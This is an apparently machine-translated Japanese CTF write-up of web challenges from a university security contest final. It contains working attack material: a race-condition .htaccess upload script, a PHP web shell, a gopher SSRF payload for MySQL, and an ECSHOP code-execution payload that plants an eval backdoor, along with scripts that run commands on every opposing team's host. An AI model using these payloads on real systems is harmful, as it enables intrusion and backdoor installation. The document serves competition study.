第3回江西大学ネットワークセキュリティコンテストのオフラインファイナルでWebの問題を解決するためのアイデア

このコンペティションでチームが大喜びしたこと、おめでとうございます!
ここに画像の説明を挿入

ジョパディ

朝の問題解決モードでは、2つのウェブが与えられました

web1:

この質問の写真をアップロードしてください。げっぷとアップロードでphpタイプを変更した後、「誰よりも速い」というプロンプトが表示されます。.htaccessをアップロードしようとします。また、競争条件を介して.htaccessをアップロードし、別の画像のトロイの木馬をアップロードし、シェルを取得できます。

.htaccessスクリプトをアップロードする

import requests
import time



while True:
    files = {
    
    'file': ('.htaccess', open('.htaccess', 'rb'), 'image/jpeg')}
    r = requests.post('http://127.0.0.1/upload',files=files)
    time.sleep(0.5)


"""
.htaccess:

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
"""

別のjpg画像をアップロードすると、トロイの木馬は1文の
shell.jpgで問題ありません。

<?php system('cat /flag.txt');?>

web2:

この質問は、ファイルプロトコル/ etc / passwdを介して読み取ることができますが、file:///flag.txtを読み取ると、存在しないことがわかり、index.phpを読み取ることが禁止されています。また、F12を介してWebページのソースコードを表示すると、フラグがmysqlに格納されていることがわかります。まず、gopherプロトコルでフラグを読み取ることを考えていて、ゲーム中にペイロードが作成されなかったため、この方法が正しいかどうかに関係なく、学習であると考えられます。

mysqlにアクセスしてクエリステートメントを実行する

ここに画像の説明を挿入

Wiresharkはパケットをキャプチャし、フローを追跡し、赤の送信データをフィルタリングします

ここに画像の説明を挿入
データを変換します
gopher://127.0.0.1:3306 / _%26%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00% 00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00% 21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d% 6d%65%6e%74%20%6c%69%6d%69%74%20%31%28%00%00%00%03%73%65%6c%65%63%74%20%69% 6e%66%6f%20%66%72%6f%6d%20%64%76%77%61%2e%63%74%68%61%63%6b%20%77%68%65%72% 65%20%69%64%3d%32

CRLF問題、カールテストの最後に%0d0aを追加

ここに画像の説明を挿入

AWDモード

午後のAWDモードには2つのウェブしかない

web1:
web1は、/ var / www / html /ディレクトリのls -aの下に.shell.phpとして非表示になっているものを見つけ、フラグはcat / fla *によってバイパスできます。
スクリプト:

import requests

ip1='http://172.20.'
ip2='.101'
ip=[]

for i in range(101,113,1):
    ip.append(ip1+str(i)+ip2)

data={
    
    'cmd':'system("cat /fla*");'}

for i in ip:
    try:
        r=requests.post(i+'/.shell.php',data=data,timeout=0.5)
        print i
        print r.text
    except:
        pass

web2:
ECSHOPコード実行の脆弱性
最初にcurlコマンドのペイロードを実行し
、スクリプト添付します。

import requests
import os

'''
curl "http://172.20.102.102/user.php" -d "action=login&okami=phpinfo();exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'



curl "http://172.20.102.102/user.php" -d "action=login&okami=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbChbb2thbWldKTsnKQoOw));exit;" \-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'
'''


ip1='http://172.20.'
ip2='.102'
ip=[]

for i in range(101,113,1):
    ip.append(ip1+str(i)+ip2)

for i in ip:
    try:
        r=requests.post(i+'/okami.php?okami=system("cat /flag.txt");',timeout=0.5)
        print i
        print r.text
    except:
        pass

おすすめ

転載: blog.csdn.net/qq_41743240/article/details/108653888